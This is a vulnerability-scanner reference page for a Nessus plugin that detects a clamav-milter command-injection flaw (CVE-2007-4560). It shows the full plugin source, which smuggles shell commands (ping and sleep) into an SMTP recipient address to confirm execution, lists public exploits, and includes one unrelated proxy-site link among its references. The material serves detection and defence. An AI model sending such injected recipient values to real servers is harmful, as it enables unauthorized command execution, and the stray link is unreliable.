ClamAV clamav-milter black-hole-mode Sendmail Recipient Field Arbitrary Command Execution - Nessus

High Plugin ID: 29830

This page contains detailed information about the ClamAV clamav-milter black-hole-mode Sendmail Recipient Field Arbitrary Command Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents

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Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 29830
Name: ClamAV clamav-milter black-hole-mode Sendmail Recipient Field Arbitrary Command Execution
Filename: clamav_milter_blackhole_cmd_exec.nasl
Vulnerability Published: 2007-08-24
This Plugin Published: 2008-01-03
Last Modification Time: 2022-04-11
Plugin Version: 1.29
Plugin Type: remote
Plugin Family: SMTP problems
Dependencies: os_fingerprint.nasl, smtpserver_detect.nasl
Required KB Items [?]: Settings/ThoroughTests

Vulnerability Information

Severity: High
Vulnerability Published: 2007-08-24
Patch Published: 2007-08-24
CVE [?]: CVE-2007-4560
CPE [?]: cpe:/a:clamav:clamav

Synopsis

The remote mail server allows execution of arbitrary commands.

Description

The remote host appears to be running a version of Clamav-milter, a filter for sendmail, configured with '--black-hole-mode' that fails to sanitize recipient addresses of shell metacharacters before using them in a call to 'popen()' to determine whether to discard incoming messages. An unauthenticated, remote attacker can leverage this issue to execute arbitrary code, typically as root.

Solution

Upgrade to ClamAV 0.91.2 or later.

Public Exploits

Target Network Port(s): 25
Target Asset(s): Services/smtp
Exploit Available: True (Metasploit Framework, Exploit-DB, Immunity Canvas)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the ClamAV clamav-milter black-hole-mode Sendmail Recipient Field Arbitrary Command Execution vulnerability:

Metasploit: exploit/unix/smtp/clamav_milter_blackhole
[ClamAV Milter Blackhole-Mode Remote Code Execution]
Exploit-DB: exploits/multiple/remote/9913.rb
[EDB-9913: ClamAV Milter 0.92.2 - Blackhole-Mode (Sendmail) Code Execution (Metasploit)]
Exploit-DB: exploits/linux/remote/16924.rb
[EDB-16924: ClamAV Milter - Blackhole-Mode Remote Code Execution (Metasploit)]
Immunity Canvas: D2ExploitPack

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS V2 Vector [?]: AV:N/AC:H/Au:N/C:C/I:C/A:C/E:F/RL:OF/RC:C

CVSS Base Score:	7.6 (High)
Impact Subscore:	10.0
Exploitability Subscore:	4.9
CVSS Temporal Score:	6.3 (Medium)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	6.3 (Medium)

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Plugin Source

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(29830);
  script_version("1.29");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2007-4560");
  script_bugtraq_id(25439);

  script_name(english:"ClamAV clamav-milter black-hole-mode Sendmail Recipient Field Arbitrary Command Execution");

  script_set_attribute(attribute:"synopsis", value:
"The remote mail server allows execution of arbitrary commands.");
  script_set_attribute(attribute:"description", value:
"The remote host appears to be running a version of Clamav-milter, a
filter for sendmail, configured with '--black-hole-mode' that fails to
sanitize recipient addresses of shell metacharacters before using them
in a call to 'popen()' to determine whether to discard incoming
messages.  An unauthenticated, remote attacker can leverage this issue
to execute arbitrary code, typically as root.");
  script_set_attribute(attribute:"see_also", value:"https://piratebay-proxies.com/best-internet-security/");
  script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/477723/100/0/threaded");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2007/Dec/518");
  script_set_attribute(attribute:"solution", value:
"Upgrade to ClamAV 0.91.2 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:H/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'ClamAV Milter Blackhole-Mode Remote Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:"D2ExploitPack");
  script_cwe_id(78);

  script_set_attribute(attribute:"vuln_publication_date", value:"2007/08/24");
  script_set_attribute(attribute:"patch_publication_date", value:"2007/08/24");
  script_set_attribute(attribute:"plugin_publication_date", value:"2008/01/03");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:clamav:clamav");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"SMTP problems");

  script_copyright(english:"This script is Copyright (C) 2008-2022 Tenable Network Security, Inc.");

  script_dependencies("smtpserver_detect.nasl", "os_fingerprint.nasl");
  script_require_keys("Settings/ThoroughTests");
  script_require_ports("Services/smtp", 25);

  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("smtp_func.inc");


if (! thorough_tests ) exit(0);


# Don't bother checking Windows as ClamAV isn't known to run on it.
os = get_kb_item("Host/OS");
if (os && "Windows" >< os) exit(0);


port = get_service(svc: "smtp", default: 25, exit_on_fail: 1);
if (get_kb_item('SMTP/'+port+'/broken')) exit(0);


# Open a connection.
soc = smtp_open(port:port, helo:this_host_name());
if (!soc) exit(0);


from = "";                             # nb: must be a valid sender
rcpt = "nobody";                       # nb: must be a valid recipient on remote


# Try to ping the Nessus host with a special pattern.
ping_pat = "cafebabe";
cmd = string("sleep 1; ping -p ", ping_pat, " -c 3 ", this_host_name());
filter = string("icmp and icmp[0] = 8 and src host ", get_host_ip());

c = string('MAIL FROM: <', from, '>');
send(socket:soc, data:string(c, "\r\n"));
s = smtp_recv_line(socket:soc);
if (strlen(s) && ereg(pattern:"^[2-3][0-9][0-9] .*", string:s))
{
  c = string('RCPT TO: <', rcpt, '+"|', cmd, '"@localhost>');
  send(socket:soc, data:string(c, "\r\n"));
  s = smtp_recv_line(socket:soc);
  if (strlen(s) && ereg(pattern:"^[2-3][0-9][0-9] .*", string:s))
  {
    c = 'DATA';
    send(socket:soc, data:string(c, "\r\n"));
    s = smtp_recv_line(socket:soc);
    if (strlen(s) && ereg(pattern:"^[2-3][0-9][0-9] .*", string:s))
    {
      c = '.';
      s = send_capture(socket:soc, data:string(c, "\r\n"), pcap_filter:filter);
      icmp_data = get_icmp_element(icmp:s, element:"data");

      if (tolower(ping_pat) >< tolower(hexstr(icmp_data)))
      {
        smtp_close(socket:soc);
        security_hole(port);
        exit(0);
      }
    }
  }
}


# Try several times to exploit the issue to pause execution for a bit.
#
# nb: this sort of check might be problemmatic if the nessusd host
#     is heavily loaded.
if ( report_paranoia < 2 ) exit(0);

if (thorough_tests) delays = make_list(1, 6, 11, 16, 21);
else delays = make_list(1, 4, 7);
pauses = make_array();

foreach delay (delays)
{
  cmd = string("sleep ", delay+1);

  c = string('MAIL FROM: <', from, '>');
  send(socket:soc, data: c + '\r\n');
  s = smtp_recv_line(socket:soc);
  if (strlen(s) && ereg(pattern:"^[2-3][0-9][0-9] .*", string:s))
  {
    c = string('RCPT TO: <', rcpt, '+"|', cmd, '"@localhost>');
    send(socket:soc, data:string(c, "\r\n"));
    s = smtp_recv_line(socket:soc);
    if (strlen(s) && ereg(pattern:"^[2-3][0-9][0-9] .*", string:s))
    {
      c = 'DATA';
      send(socket:soc, data:string(c, "\r\n"));
      s = smtp_recv_line(socket:soc);
      if (strlen(s) && ereg(pattern:"^[2-3][0-9][0-9] .*", string:s))
      {
        # Time how long the remote takes to respond.
        start = unixtime();
        c = '.';
        send(socket:soc, data:string(c, "\r\n"));
        s = smtp_recv_line(socket:soc, retry:5);
        end = unixtime();

        pause = end - start;
        pauses[delay] = pause;
        # nb: we're done if the delay obviously had no effect.
        if (strlen(s) && pause < delay) break;
      }
      else break;
    }
    else break;
  }
  else break;
}
smtp_close(socket:soc);


# Look at the actual time taken for each test.
prev_diff = NULL;
foreach delay (delays)
{
  # Exit if for some reason we didn't complete all the tests.
  if (isnull(pauses[delay])) exit(0);

  # Exit if we're not being paranoid and the second order difference
  # between tests is +-1 second of the expected difference, so we
  # can be reasonably certain the plugin is responsible for the
  # delays rather than a load issue on the remote.
  diff = pauses[delay];
  if (report_paranoia < 2 && !isnull(prev_diff)) 
  {
    diff2 = diff - prev_diff;
    if (
      (thorough_tests  && (diff2 < 4 || diff2 > 6)) ||
      (!thorough_tests && (diff2 < 2 || diff2 > 4))
    ) exit(0);
  }
  prev_diff = diff;
}
security_hole(port);

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/clamav_milter_blackhole_cmd_exec.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\clamav_milter_blackhole_cmd_exec.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/clamav_milter_blackhole_cmd_exec.nasl

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How to Run

Here is how to run the ClamAV clamav-milter black-hole-mode Sendmail Recipient Field Arbitrary Command Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select SMTP problems plugin family.
On the right side table select ClamAV clamav-milter black-hole-mode Sendmail Recipient Field Arbitrary Command Execution plugin ID 29830.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl clamav_milter_blackhole_cmd_exec.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a clamav_milter_blackhole_cmd_exec.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - clamav_milter_blackhole_cmd_exec.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state clamav_milter_blackhole_cmd_exec.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID:

25439

CWE | Common Weakness Enumeration:

CWE-78 (Weakness) Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

See also:

Similar and related Nessus plugins:

25966 - Debian DSA-1366-1 : clamav - several vulnerabilities
27747 - Fedora 7 : clamav-0.91.2-2.fc7 (2007-2050)
26104 - GLSA-200709-14 : ClamAV: Multiple vulnerabilities
31605 - Mac OS X Multiple Vulnerabilities (Security Update 2008-002)
25969 - Mandrake Linux Security Advisory : clamav (MDKSA-2007:172)
35009 - ClamAV < 0.94.2 cli_check_jpeg_exploit() Malformed JPEG File DoS
59726 - ClamAV < 0.97.5 Multiple Vulnerabilities
81147 - ClamAV < 0.98.6 Multiple Vulnerabilities
83352 - ClamAV < 0.98.7 Multiple Vulnerabilities
125737 - Exim 4.87 < 4.92 Remote Command Execution
127100 - Exim deliver_message() Function Remote Command Execution Vulnerability (Remote)
10247 - Sendmail DEBUG/WIZ Remote Command Execution
78701 - Mail Transfer Agent and Mail Delivery Agent Remote Command Execution via Shellshock
77969 - Postfix Script Remote Command Execution via Shellshock
77970 - Qmail Remote Command Execution via Shellshock

Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file clamav_milter_blackhole_cmd_exec.nasl version 1.29. For more plugins, visit the Nessus Plugin Library.

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ClamAV clamav-milter black-hole-mode Sendmail Recipient Field Arbitrary Command Execution - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

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